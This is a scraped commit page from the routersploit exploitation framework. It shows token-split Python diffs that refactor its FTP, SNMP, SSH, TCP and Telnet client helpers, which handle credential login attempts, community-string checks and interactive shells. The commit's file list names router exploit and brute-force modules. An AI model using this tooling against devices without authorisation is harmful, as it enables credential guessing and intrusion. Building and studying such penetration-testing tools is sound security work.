Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
c351256d
Unverified
Commit
c351256d
authored
Sep 04, 2018
by
Marcin Bury
Committed by
GitHub
Sep 04, 2018
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Unifying ftp/ssh/telnet/snmp communication (#505)
* Unifying communication api * Adding error messages
parent
9aaa2ef0
Show whitespace changes
Inline
Side-by-side
Showing
30 changed files
with
478 additions
and
402 deletions
+478
-402
ftp_client.py
routersploit/core/ftp/ftp_client.py
+52
-40
snmp_client.py
routersploit/core/snmp/snmp_client.py
+28
-9
ssh_client.py
routersploit/core/ssh/ssh_client.py
+87
-60
tcp_client.py
routersploit/core/tcp/tcp_client.py
+51
-45
telnet_client.py
routersploit/core/telnet/telnet_client.py
+61
-62
udp_client.py
routersploit/core/udp/udp_client.py
+39
-30
ftp_bruteforce.py
routersploit/modules/creds/generic/ftp_bruteforce.py
+6
-11
ftp_default.py
routersploit/modules/creds/generic/ftp_default.py
+6
-11
snmp_bruteforce.py
routersploit/modules/creds/generic/snmp_bruteforce.py
+2
-1
ssh_bruteforce.py
routersploit/modules/creds/generic/ssh_bruteforce.py
+5
-4
ssh_default.py
routersploit/modules/creds/generic/ssh_default.py
+5
-4
telnet_bruteforce.py
routersploit/modules/creds/generic/telnet_bruteforce.py
+5
-4
telnet_default.py
routersploit/modules/creds/generic/telnet_default.py
+5
-4
api_ros_default_creds.py
...t/modules/creds/routers/mikrotik/api_ros_default_creds.py
+6
-5
gxv3611hd_ip_camera_backdoor.py
...loits/cameras/grandstream/gxv3611hd_ip_camera_backdoor.py
+13
-11
gxv3611hd_ip_camera_sqli.py
.../exploits/cameras/grandstream/gxv3611hd_ip_camera_sqli.py
+19
-17
heartbleed.py
routersploit/modules/exploits/generic/heartbleed.py
+10
-9
ssh_auth_keys.py
routersploit/modules/exploits/generic/ssh_auth_keys.py
+7
-7
ucm_info_disclosure.py
...oit/modules/exploits/routers/cisco/ucm_info_disclosure.py
+4
-4
dir_300_645_815_upnp_rce.py
...odules/exploits/routers/dlink/dir_300_645_815_upnp_rce.py
+5
-5
dwr_932b_backdoor.py
...ploit/modules/exploits/routers/dlink/dwr_932b_backdoor.py
+6
-6
hg520_info_disclosure.py
.../modules/exploits/routers/huawei/hg520_info_disclosure.py
+3
-3
routeros_jailbreak.py
...t/modules/exploits/routers/mikrotik/routeros_jailbreak.py
+9
-9
winbox_auth_bypass_creds_disclosure.py
...s/routers/mikrotik/winbox_auth_bypass_creds_disclosure.py
+8
-6
tcp_32764_info_disclosure.py
...dules/exploits/routers/multi/tcp_32764_info_disclosure.py
+11
-12
tcp_32764_rce.py
routersploit/modules/exploits/routers/multi/tcp_32764_rce.py
+11
-11
udp_53413_rce.py
...rsploit/modules/exploits/routers/netcore/udp_53413_rce.py
+5
-5
tg784_authbypass.py
.../modules/exploits/routers/technicolor/tg784_authbypass.py
+2
-2
twg849_info_disclosure.py
...odules/exploits/routers/thomson/twg849_info_disclosure.py
+4
-2
ssdp_msearch.py
routersploit/modules/generic/upnp/ssdp_msearch.py
+3
-3
No files found.
routersploit/core/ftp/ftp_client.py
View file @
c351256d
import
socket
import
ftplib
import
io
...
...
@@ -6,74 +5,87 @@ from routersploit.core.exploit.exploit import Exploit
from
routersploit.core.exploit.exploit
import
Protocol
from
routersploit.core.exploit.option
import
OptBool
from
routersploit.core.exploit.printer
import
print_error
from
routersploit.core.exploit.printer
import
print_success
FTP_TIMEOUT
=
8.0
class
FTPCli
ent
(
Exploi
t
):
""" FTP Client
exploit
"""
class
FTPCli
(
objec
t
):
""" FTP Client """
target_protocol
=
Protocol
.
FTP
def
__init__
(
self
,
ftp_target
,
ftp_port
,
ssl
=
False
,
verbosity
=
False
):
self
.
ftp_target
=
ftp_target
self
.
ftp_port
=
ftp_port
self
.
verbosity
=
verbosity
ssl
=
OptBool
(
False
,
"SSL enabled: true/false"
)
verbosity
=
OptBool
(
True
,
"Enable verbose output: true/false"
)
self
.
peer
=
"{}:{}"
.
format
(
self
.
ftp_target
,
ftp_port
)
def
ftp_create
(
self
):
if
self
.
ssl
:
ftp_client
=
ftplib
.
FTP_TLS
()
if
ssl
:
self
.
ftp_client
=
ftplib
.
FTP_TLS
()
else
:
ftp_client
=
ftplib
.
FTP
()
return
ftp_client
def
ftp_connect
(
self
,
retries
=
1
):
ftp_client
=
self
.
ftp_create
()
self
.
ftp_client
=
ftplib
.
FTP
()
def
connect
(
self
,
retries
=
1
):
for
_
in
range
(
retries
):
try
:
ftp_client
.
connect
(
self
.
target
,
self
.
port
,
timeout
=
FTP_TIMEOUT
)
except
(
socket
.
error
,
socket
.
timeout
):
print_error
(
"Connection error"
,
verbose
=
self
.
verbosity
)
self
.
ftp_client
.
connect
(
self
.
ftp_target
,
self
.
ftp_port
,
timeout
=
FTP_TIMEOUT
)
return
self
.
ftp_client
except
Exception
as
err
:
print_error
(
err
,
verbose
=
self
.
verbosity
)
else
:
return
ftp_client
print_error
(
self
.
peer
,
"FTP Error while connecting to the server"
,
err
,
verbose
=
self
.
verbosity
)
self
.
ftp_client
.
close
()
ftp_client
.
close
()
return
None
def
ftp_login
(
self
,
username
,
password
):
ftp_client
=
self
.
ftp_connect
()
if
ftp_client
:
def
login
(
self
,
username
,
password
):
try
:
ftp_client
.
login
(
username
,
password
)
return
ftp_client
self
.
ftp_client
.
login
(
username
,
password
)
print_success
(
self
.
peer
,
"FTP Authentication Successful - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
return
self
.
ftp_client
except
Exception
as
err
:
pass
ftp_client
.
close
()
print_error
(
self
.
peer
,
"FTP Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
self
.
ftp_client
.
close
()
return
None
def
ftp_test_connect
(
self
):
ftp_client
=
self
.
ftp_connect
()
if
ftp_client
:
ftp_client
.
close
()
def
test_connect
(
self
):
if
self
.
connect
():
self
.
ftp_client
.
close
()
return
True
return
False
def
ftp_get_content
(
self
,
ftp_client
,
remote_file
):
if
ftp_client
:
def
get_content
(
self
,
remote_file
):
try
:
fp_content
=
io
.
BytesIO
()
ftp_client
.
retrbinary
(
"RETR {}"
.
format
(
remote_file
),
fp_content
.
write
)
self
.
ftp_client
.
retrbinary
(
"RETR {}"
.
format
(
remote_file
),
fp_content
.
write
)
return
fp_content
.
getvalue
()
except
Exception
as
err
:
print_error
(
self
.
peer
,
"FTP Error while retrieving content"
,
err
,
verbose
=
self
.
verbosity
)
return
None
def
ftp_close
(
self
,
ftp_client
):
if
ftp_client
:
ftp_client
.
close
()
def
close
(
self
):
try
:
self
.
ftp_client
.
close
()
except
Exception
as
err
:
print_error
(
self
.
peer
,
"FTP Error while closing connection"
,
err
,
verbose
=
self
.
verbosity
)
return
None
class
FTPClient
(
Exploit
):
""" FTP Client exploit option and api """
target_protocol
=
Protocol
.
FTP
ssl
=
OptBool
(
False
,
"SSL enabled: true/false"
)
verbosity
=
OptBool
(
True
,
"Enable verbose output: true/false"
)
def
ftp_create
(
self
,
target
=
None
,
port
=
None
):
ftp_target
=
target
if
target
else
self
.
target
ftp_port
=
port
if
port
else
self
.
port
ftp_client
=
FTPCli
(
ftp_target
,
ftp_port
,
ssl
=
self
.
ssl
,
verbosity
=
self
.
verbosity
)
return
ftp_client
routersploit/core/snmp/snmp_client.py
View file @
c351256d
...
...
@@ -10,29 +10,48 @@ from routersploit.core.exploit.printer import print_error
SNMP_TIMEOUT
=
15.0
class
SNMPCli
ent
(
Exploi
t
):
""" SNMP Client
exploit
"""
class
SNMPCli
(
objec
t
):
""" SNMP Client """
target_protocol
=
Protocol
.
SNMP
def
__init__
(
self
,
snmp_target
,
snmp_port
,
verbosity
=
False
):
self
.
snmp_target
=
snmp_target
self
.
snmp_port
=
snmp_port
self
.
verbosity
=
verbosity
verbosity
=
OptBool
(
True
,
"Enable verbose output: true/false"
)
self
.
peer
=
"{}:{}"
.
format
(
self
.
snmp_target
,
snmp_port
)
def
snmp_
get
(
self
,
community_string
,
oid
,
version
=
1
,
retries
=
0
):
def
get
(
self
,
community_string
,
oid
,
version
=
1
,
retries
=
0
):
cmdGen
=
cmdgen
.
CommandGenerator
()
try
:
errorIndication
,
errorStatus
,
errorIndex
,
varBinds
=
cmdGen
.
getCmd
(
cmdgen
.
CommunityData
(
community_string
,
mpModel
=
version
),
cmdgen
.
UdpTransportTarget
((
self
.
target
,
self
.
port
),
timeout
=
SNMP_TIMEOUT
,
retries
=
retries
),
cmdgen
.
UdpTransportTarget
((
self
.
snmp_target
,
self
.
snmp_
port
),
timeout
=
SNMP_TIMEOUT
,
retries
=
retries
),
oid
,
)
except
Exception
:
except
Exception
as
err
:
print_error
(
self
.
peer
,
"SNMP Error while accessing server"
,
err
,
verbose
=
self
.
verbosity
)
return
None
if
errorIndication
or
errorStatus
:
print_error
(
"SNMP invalid community string: '{}'"
.
format
(
community_string
),
verbose
=
self
.
verbosity
)
print_error
(
self
.
peer
,
"SNMP invalid community string: '{}'"
.
format
(
community_string
),
verbose
=
self
.
verbosity
)
else
:
print_success
(
"SNMP valid community string found: '{}'"
.
format
(
community_string
),
verbose
=
self
.
verbosity
)
print_success
(
self
.
peer
,
"SNMP valid community string found: '{}'"
.
format
(
community_string
),
verbose
=
self
.
verbosity
)
return
varBinds
return
None
class
SNMPClient
(
Exploit
):
""" SNMP Client exploit """
target_protocol
=
Protocol
.
SNMP
verbosity
=
OptBool
(
True
,
"Enable verbose output: true/false"
)
def
snmp_create
(
self
,
target
=
None
,
port
=
None
):
snmp_target
=
target
if
target
else
self
.
target
snmp_port
=
port
if
port
else
self
.
port
snmp_client
=
SNMPCli
(
snmp_target
,
snmp_port
,
verbosity
=
self
.
verbosity
)
return
snmp_client
routersploit/core/ssh/ssh_client.py
View file @
c351256d
...
...
@@ -17,42 +17,36 @@ from routersploit.core.exploit.utils import random_text
SSH_TIMEOUT
=
8.0
class
SSHClient
(
Exploit
):
""" SSH Client exploit """
class
SSHCli
(
object
):
def
__init__
(
self
,
ssh_target
,
ssh_port
,
verbosity
):
self
.
ssh_target
=
ssh_target
self
.
ssh_port
=
ssh_port
self
.
verbosity
=
verbosity
target_protocol
=
Protocol
.
SSH
self
.
peer
=
"{}:{}"
.
format
(
self
.
ssh_target
,
self
.
ssh_port
)
verbosity
=
OptBool
(
True
,
"Enable verbose output: true/false"
)
def
ssh_create
(
self
):
ssh_client
=
paramiko
.
SSHClient
()
ssh_client
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
return
ssh_client
def
ssh_login
(
self
,
username
,
password
,
retries
=
1
):
ssh_client
=
self
.
ssh_create
()
self
.
ssh_client
=
paramiko
.
SSHClient
()
self
.
ssh_client
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
def
login
(
self
,
username
,
password
,
retries
=
1
):
for
_
in
range
(
retries
):
try
:
s
sh_client
.
connect
(
self
.
target
,
self
.
port
,
timeout
=
SSH_TIMEOUT
,
banner_timeout
=
SSH_TIMEOUT
,
username
=
username
,
password
=
password
,
look_for_keys
=
False
)
s
elf
.
ssh_client
.
connect
(
self
.
ssh_target
,
self
.
ssh_
port
,
timeout
=
SSH_TIMEOUT
,
banner_timeout
=
SSH_TIMEOUT
,
username
=
username
,
password
=
password
,
look_for_keys
=
False
)
except
paramiko
.
AuthenticationException
:
print_error
(
"SSH Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
ssh_client
.
close
()
print_error
(
self
.
peer
,
"SSH Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
s
elf
.
s
sh_client
.
close
()
break
except
Exception
as
err
:
print_error
(
"Err: {}"
.
format
(
err
)
,
verbose
=
self
.
verbosity
)
print_error
(
self
.
peer
,
"SSH Error while authenticating"
,
err
,
verbose
=
self
.
verbosity
)
else
:
print_success
(
"SSH Authentication Successful - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
return
ssh_client
ssh_client
.
close
()
print_success
(
self
.
peer
,
"SSH Authentication Successful - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
return
self
.
ssh_client
return
self
.
ssh_client
.
close
()
def
ssh_login_pkey
(
self
,
username
,
priv_key
,
retries
=
1
):
ssh_client
=
self
.
ssh_create
()
return
None
def
login_pkey
(
self
,
username
,
priv_key
,
retries
=
1
):
if
"DSA PRIVATE KEY"
in
priv_key
:
priv_key
=
paramiko
.
DSSKey
.
from_private_key
(
io
.
StringIO
(
priv_key
))
elif
"RSA PRIVATE KEY"
in
priv_key
:
...
...
@@ -62,66 +56,82 @@ class SSHClient(Exploit):
for
_
in
range
(
retries
):
try
:
s
sh_client
.
connect
(
self
.
target
,
self
.
port
,
timeout
=
SSH_TIMEOUT
,
banner_timeout
=
SSH_TIMEOUT
,
username
=
username
,
pkey
=
priv_key
,
look_for_keys
=
False
)
s
elf
.
ssh_client
.
connect
(
self
.
ssh_target
,
self
.
ssh_
port
,
timeout
=
SSH_TIMEOUT
,
banner_timeout
=
SSH_TIMEOUT
,
username
=
username
,
pkey
=
priv_key
,
look_for_keys
=
False
)
except
paramiko
.
AuthenticationException
:
print_error
(
"
Authentication Failed - Username: '{}' auth with private key"
.
format
(
username
),
verbose
=
self
.
verbosity
)
print_error
(
self
.
peer
,
"SSH
Authentication Failed - Username: '{}' auth with private key"
.
format
(
username
),
verbose
=
self
.
verbosity
)
except
Exception
as
err
:
print_error
(
"Err: {}"
.
format
(
err
)
,
verbose
=
self
.
verbosity
)
print_error
(
self
.
peer
,
"SSH Error while authenticated by using private key"
,
err
,
verbose
=
self
.
verbosity
)
else
:
print_success
(
"SSH Authentication Successful - Username: '{}' with private key"
.
format
(
username
),
verbose
=
self
.
verbosity
)
return
ssh_client
print_success
(
self
.
peer
,
"SSH Authentication Successful - Username: '{}' with private key"
.
format
(
username
),
verbose
=
self
.
verbosity
)
return
s
elf
.
s
sh_client
ssh_client
.
close
()
s
elf
.
s
sh_client
.
close
()
return
None
def
ssh_test_connect
(
self
):
ssh_client
=
self
.
ssh_create
()
def
test_connect
(
self
):
try
:
s
sh_client
.
connect
(
self
.
target
,
self
.
port
,
timeout
=
SSH_TIMEOUT
,
username
=
"root"
,
password
=
random_text
(
12
),
look_for_keys
=
False
)
s
elf
.
ssh_client
.
connect
(
self
.
ssh_target
,
self
.
ssh_
port
,
timeout
=
SSH_TIMEOUT
,
username
=
"root"
,
password
=
random_text
(
12
),
look_for_keys
=
False
)
except
paramiko
.
AuthenticationException
:
ssh_client
.
close
()
s
elf
.
s
sh_client
.
close
()
return
True
except
socket
.
error
:
print_error
(
"Connection error"
,
verbose
=
self
.
verbosity
)
ssh_client
.
close
()
return
False
except
Exception
as
err
:
print_error
(
"Err: {}"
.
format
(
err
)
,
verbose
=
self
.
verbosity
)
print_error
(
self
.
peer
,
"SSH Error while testing connection"
,
err
,
verbose
=
self
.
verbosity
)
ssh_client
.
close
()
s
elf
.
s
sh_client
.
close
()
return
False
def
ssh_execute
(
self
,
ssh
,
cmd
):
ssh_stdin
,
ssh_stdout
,
ssh_stderr
=
ssh
.
exec_command
(
cmd
)
def
execute
(
self
,
cmd
):
try
:
ssh_stdin
,
ssh_stdout
,
ssh_stderr
=
self
.
ssh_client
.
exec_command
(
cmd
)
return
ssh_stdout
.
read
()
except
Exception
as
err
:
print_error
(
self
.
peer
,
"SSH Error while executing command on the server"
,
err
,
verbose
=
self
.
verbosity
)
def
ssh_get_file
(
self
,
ssh
,
remote_file
,
local_file
):
sftp
=
ssh
.
open_sftp
()
return
None
def
get_file
(
self
,
remote_file
,
local_file
):
try
:
sftp
=
self
.
ssh_client
.
open_sftp
()
sftp
.
get
(
remote_file
,
local_file
)
except
Exception
as
err
:
print_error
(
self
.
peer
,
"SSH Error while retrieving file from the server"
,
err
,
verbose
=
self
.
verbosity
)
return
None
def
ssh_get_content
(
self
,
ssh
,
remote_file
):
def
get_content
(
self
,
remote_file
):
try
:
fp_content
=
io
.
BytesIO
()
sftp
=
ssh
.
open_sftp
()
sftp
=
self
.
ssh_client
.
open_sftp
()
sftp
.
getfo
(
remote_file
,
fp_content
)
return
fp_content
.
getvalue
()
except
Exception
as
err
:
print_error
(
self
.
peer
,
"SSH Error while retrieving file content from the server"
,
err
,
verbose
=
self
.
verbosity
)
return
None
def
ssh_send_file
(
self
,
ssh
,
local_file
,
dest_file
):
sftp
=
ssh
.
open_sftp
()
def
send_file
(
self
,
local_file
,
dest_file
):
try
:
sftp
=
self
.
ssh_client
.
open_sftp
()
sftp
.
put
(
local_file
,
dest_file
)
except
Exception
as
err
:
print_error
(
self
.
peer
,
"SSH Error while sending file to the server"
,
err
,
verbose
=
self
.
verbosity
)
def
ssh_send_content
(
self
,
ssh
,
content
,
dest_file
):
return
None
def
send_content
(
self
,
content
,
dest_file
):
try
:
fp_content
=
io
.
BytesIO
(
content
)
sftp
=
ssh
.
open_sftp
()
sftp
=
self
.
ssh_client
.
open_sftp
()
sftp
.
putfo
(
fp_content
,
dest_file
)
except
Exception
as
err
:
print_error
(
self
.
peer
,
"SSH Error while sending content to the server"
,
err
,
verbose
=
self
.
verbosity
)
def
ssh_interactive
(
self
,
ssh
):
if
ssh
:
chan
=
ssh
.
invoke_shell
()
return
None
def
interactive
(
self
):
chan
=
self
.
ssh_client
.
invoke_shell
()
if
os
.
name
==
"posix"
:
self
.
_posix_shell
(
chan
)
else
:
...
...
@@ -182,10 +192,27 @@ class SSHClient(Exploit):
chan
.
send
(
d
)
except
Exception
as
err
:
print_error
(
"Err
: {}"
.
format
(
err
)
,
verbose
=
self
.
verbosity
)
print_error
(
"Err
or"
,
err
,
verbose
=
self
.
verbosity
)
def
ssh_close
(
self
,
ssh_client
):
if
ssh_client
:
ssh_client
.
close
()
def
close
(
self
):
try
:
self
.
ssh_client
.
close
()
except
Exception
as
err
:
print_error
(
self
.
peer
,
"SSH Error while closing connection"
,
verbose
=
self
.
verbosity
)
return
None
class
SSHClient
(
Exploit
):
""" SSH Client exploit """
target_protocol
=
Protocol
.
SSH
verbosity
=
OptBool
(
True
,
"Enable verbose output: true/false"
)
def
ssh_create
(
self
,
target
=
None
,
port
=
None
):
ssh_target
=
target
if
target
else
self
.
target
ssh_port
=
port
if
port
else
self
.
port
ssh_client
=
SSHCli
(
ssh_target
,
ssh_port
,
verbosity
=
self
.
verbosity
)
return
ssh_client
routersploit/core/tcp/tcp_client.py
View file @
c351256d
...
...
@@ -12,67 +12,58 @@ from routersploit.core.exploit.utils import is_ipv6
TCP_SOCKET_TIMEOUT
=
8.0
class
TCPCli
ent
(
Exploi
t
):
""" TCP Client exploit """
target_protocol
=
Protocol
.
TCP
verbosity
=
OptBool
(
True
,
"Enable verbose output: true/false"
)
def
tcp_create
(
self
):
if
is_ipv4
(
self
.
target
):
tcp_client
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
elif
is_ipv6
(
self
.
target
):
tcp_client
=
socket
.
socket
(
socket
.
AF_INET6
,
socket
.
SOCK_STREAM
)
class
TCPCli
(
objec
t
):
def
__init__
(
self
,
tcp_target
,
tcp_port
,
verbosity
=
False
):
self
.
tcp_target
=
tcp_target
self
.
tcp_port
=
tcp_port
self
.
verbosity
=
verbosity
self
.
peer
=
"{}:{}"
.
format
(
self
.
tcp_target
,
self
.
tcp_port
)
if
is_ipv4
(
self
.
t
cp_t
arget
):
self
.
tcp_client
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
elif
is_ipv6
(
self
.
t
cp_t
arget
):
self
.
tcp_client
=
socket
.
socket
(
socket
.
AF_INET6
,
socket
.
SOCK_STREAM
)
else
:
print_error
(
"Target address is not valid IPv4 nor IPv6 address"
,
verbose
=
self
.
verbosity
)
return
None
tcp_client
.
settimeout
(
TCP_SOCKET_TIMEOUT
)
return
tcp_client
self
.
tcp_client
.
settimeout
(
TCP_SOCKET_TIMEOUT
)
def
tcp_
connect
(
self
):
def
connect
(
self
):
try
:
tcp_client
=
self
.
tcp_create
()
tcp_client
.
connect
((
self
.
target
,
self
.
port
))
print_status
(
"Connection established"
,
verbose
=
self
.
verbosity
)
return
tcp_client
self
.
tcp_client
.
connect
((
self
.
tcp_target
,
self
.
tcp_port
))
print_status
(
self
.
peer
,
"TCP Connection established"
,
verbose
=
self
.
verbosity
)
return
self
.
tcp_client
except
Exception
as
err
:
print_error
(
"Could not connect"
,
verbose
=
self
.
verbosity
)
print_error
(
err
,
verbose
=
self
.
verbosity
)
print_error
(
self
.
peer
,
"TCP Error while connecting to the server"
,
err
,
verbose
=
self
.
verbosity
)
return
None
def
tcp_send
(
self
,
tcp_client
,
data
):
if
tcp_client
:
if
type
(
data
)
is
bytes
:
return
tcp_client
.
send
(
data
)
else
:
print_error
(
"Data to send is not type of bytes"
,
verbose
=
self
.
verbosity
)
def
send
(
self
,
data
):
try
:
return
self
.
tcp_client
.
send
(
data
)
except
Exception
as
err
:
print_error
(
self
.
peer
,
"TCP Error while sending data"
,
err
,
verbose
=
self
.
verbosity
)
return
None
def
tcp_recv
(
self
,
tcp_client
,
num
):
if
tcp_client
:
def
recv
(
self
,
num
):
try
:
response
=
tcp_client
.
recv
(
num
)
response
=
self
.
tcp_client
.
recv
(
num
)
return
response
except
socket
.
timeout
:
print_error
(
"Socket did timeout"
,
verbose
=
self
.
verbosity
)
except
socket
.
error
:
print_error
(
"Socket error"
,
verbose
=
self
.
verbosity
)
except
Exception
as
err
:
print_error
(
self
.
peer
,
"TCP Error while receiving data"
,
err
,
verbose
=
self
.
verbosity
)
return
None
def
tcp_recv_all
(
self
,
tcp_client
,
num
):
if
tcp_client
:
def
recv_all
(
self
,
num
):
try
:
response
=
b
""
received
=
0
while
received
<
num
:
tmp
=
tcp_client
.
recv
(
num
-
received
)
tmp
=
self
.
tcp_client
.
recv
(
num
-
received
)
if
tmp
:
received
+=
len
(
tmp
)
...
...
@@ -81,15 +72,30 @@ class TCPClient(Exploit):
break
return
response
except
socket
.
timeout
:
print_error
(
"Socket did timeout"
,
verbose
=
self
.
verbosity
)
except
socket
.
error
:
print_error
(
"Socket error"
,
verbose
=
self
.
verbosity
)
except
Exception
as
err
:
print_error
(
self
.
peer
,
"TCP Error while receiving all data"
,
err
,
verbose
=
self
.
verbosity
)
return
None
def
tcp_close
(
self
,
tcp_client
):
if
tcp_client
:
tcp_client
.
close
()
def
close
(
self
):
try
:
self
.
tcp_client
.
close
()
except
Exception
as
err
:
print_error
(
self
.
peer
,
"TCP Error while closing tcp socket"
,
err
,
verbose
=
self
.
verbosity
)
return
None
class
TCPClient
(
Exploit
):
""" TCP Client exploit """
target_protocol
=
Protocol
.
TCP
verbosity
=
OptBool
(
True
,
"Enable verbose output: true/false"
)
def
tcp_create
(
self
,
target
=
None
,
port
=
None
):
tcp_target
=
target
if
target
else
self
.
target
tcp_port
=
port
if
port
else
self
.
port
tcp_client
=
TCPCli
(
tcp_target
,
tcp_port
,
verbosity
=
self
.
verbosity
)
return
tcp_client
routersploit/core/telnet/telnet_client.py
View file @
c351256d
...
...
@@ -10,102 +10,101 @@ from routersploit.core.exploit.printer import print_error
TELNET_TIMEOUT
=
30.0
class
TelnetClient
(
Exploit
):
""" Telnet Client exploit """
class
TelnetCli
(
object
):
def
__init__
(
self
,
telnet_target
,
telnet_port
,
verbosity
=
False
):
self
.
telnet_target
=
telnet_target
self
.
telnet_port
=
telnet_port
self
.
verbosity
=
verbosity
target_protocol
=
Protocol
.
TELNET
self
.
peer
=
"{}:{}"
.
format
(
self
.
telnet_target
,
self
.
telnet_port
)
verbosity
=
OptBool
(
True
,
"Enable verbose output: true/false"
)
def
telnet_connect
(
self
,
target
=
None
,
port
=
None
):
if
not
target
:
target
=
self
.
target
if
not
port
:
port
=
self
.
port
self
.
telnet_client
=
None
def
connect
(
self
):
try
:
telnet_client
=
telnetlib
.
Telnet
(
target
,
port
,
timeout
=
TELNET_TIMEOUT
)
return
telnet_client
except
Exception
:
p
ass
self
.
telnet_client
=
telnetlib
.
Telnet
(
self
.
telnet_target
,
self
.
telnet_
port
,
timeout
=
TELNET_TIMEOUT
)
return
self
.
telnet_client
except
Exception
as
err
:
p
rint_error
(
self
.
peer
,
"Telnet Error while connecting to the server"
,
err
,
verbose
=
self
.
verbosity
)
return
None
def
telnet_login
(
self
,
username
,
password
,
target
=
None
,
port
=
None
,
retries
=
1
):
if
not
target
:
target
=
self
.
target
if
not
port
:
port
=
self
.
port
def
login
(
self
,
username
,
password
,
retries
=
1
):
for
_
in
range
(
retries
):
try
:
telnet_client
=
self
.
telnet_connect
(
target
=
target
,
port
=
port
)
if
not
telnet_client
:
if
not
self
.
connect
():
continue
telnet_client
.
expect
([
b
"Login: "
,
b
"login: "
,
b
"Username: "
,
b
"username: "
],
5
)
telnet_client
.
write
(
bytes
(
username
,
"utf-8"
)
+
b
"
\r\n
"
)
telnet_client
.
expect
([
b
"Password: "
,
b
"password: "
],
5
)
telnet_client
.
write
(
bytes
(
password
,
"utf-8"
)
+
b
"
\r\n
"
)
telnet_client
.
write
(
b
"
\r\n
"
)
self
.
telnet_client
.
expect
([
b
"Login: "
,
b
"login: "
,
b
"Username: "
,
b
"username: "
],
5
)
self
.
telnet_client
.
write
(
bytes
(
username
,
"utf-8"
)
+
b
"
\r\n
"
)
self
.
telnet_client
.
expect
([
b
"Password: "
,
b
"password: "
],
5
)
self
.
telnet_client
.
write
(
bytes
(
password
,
"utf-8"
)
+
b
"
\r\n
"
)
self
.
telnet_client
.
write
(
b
"
\r\n
"
)
(
i
,
obj
,
res
)
=
telnet_client
.
expect
([
b
"Incorrect"
,
b
"incorrect"
],
5
)
(
i
,
obj
,
res
)
=
self
.
telnet_client
.
expect
([
b
"Incorrect"
,
b
"incorrect"
],
5
)
if
i
==
-
1
and
any
([
x
in
res
for
x
in
[
b
"#"
,
b
"$"
,
b
">"
]])
or
len
(
res
)
>
500
:
# big banner e.g. mikrotik
print_success
(
"Telnet Authentication Successful - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
return
telnet_client
print_success
(
self
.
peer
,
"Telnet Authentication Successful - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
return
self
.
telnet_client
else
:
print_error
(
"Telnet Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
print_error
(
self
.
peer
,
"Telnet Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
break
except
EOFError
:
print_error
(
"Telnet connection error"
,
verbose
=
self
.
verbosity
)
except
Exception
as
err
:
print_error
(
err
,
verbose
=
self
.
verbosity
)
print_error
(
self
.
peer
,
"Telnet Error while authenticating to the server"
,
err
,
verbose
=
self
.
verbosity
)
return
None
def
te
lnet_te
st_connect
(
self
):
def
test_connect
(
self
):
try
:
telnet_client
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
port
,
timeout
=
TELNET_TIMEOUT
)
telnet_client
.
expect
([
b
"Login: "
,
b
"login: "
,
b
"Username: "
,
b
"username: "
],
5
)
telnet_client
.
close
()
self
.
telnet_client
=
telnetlib
.
Telnet
(
self
.
telnet_target
,
self
.
telnet_
port
,
timeout
=
TELNET_TIMEOUT
)
self
.
telnet_client
.
expect
([
b
"Login: "
,
b
"login: "
,
b
"Username: "
,
b
"username: "
],
5
)
self
.
telnet_client
.
close
()
return
True
except
Exception
:
p
ass
except
Exception
as
err
:
p
rint_error
(
self
.
peer
,
"Telnet Error while testing connection to the server"
,
err
,
verbose
=
self
.
verbosity
)
return
False
def
telnet_interactive
(
self
,
telnet
):
telne
t
.
interact
()
def
interactive
(
self
):
self
.
telnet_clien
t
.
interact
()
def
telnet_read_until
(
self
,
telnet_client
,
data
):
if
telnet_client
:
def
read_until
(
self
,
data
):
try
:
if
type
(
data
)
is
str
:
data
=
bytes
(
data
,
"utf-8"
)
response
=
telnet_client
.
read_until
(
data
,
5
)
return
str
(
response
,
"utf-8"
)
except
Exception
:
pass
response
=
self
.
telnet_client
.
read_until
(
data
,
5
)
return
response
except
Exception
as
err
:
print_error
(
self
.
peer
,
"Telnet Error while reading data from the server"
,
err
,
verbose
=
self
.
verbosity
)
return
None
def
telnet_write
(
self
,
telnet_client
,
data
):
if
telnet_client
:
def
write
(
self
,
data
):
try
:
if
type
(
data
)
is
str
:
data
=
bytes
(
data
,
"utf-8"
)
return
telnet_client
.
write
(
data
,
5
)
except
Exception
:
pass
return
self
.
telnet_client
.
write
(
data
,
5
)
except
Exception
as
err
:
print_error
(
self
.
peer
,
"Telnet Error while writing to the server"
,
err
,
verbose
=
self
.
verbosity
)
return
None
def
telnet_close
(
self
,
telnet_client
):
if
telnet_client
:
telnet_client
.
close
()
def
close
(
self
):
try
:
self
.
telnet_client
.
close
()
except
Exception
as
err
:
print_error
(
self
.
peer
,
"Telnet Error while closing connection"
,
err
,
verbose
=
self
.
verbosity
)
return
None
class
TelnetClient
(
Exploit
):
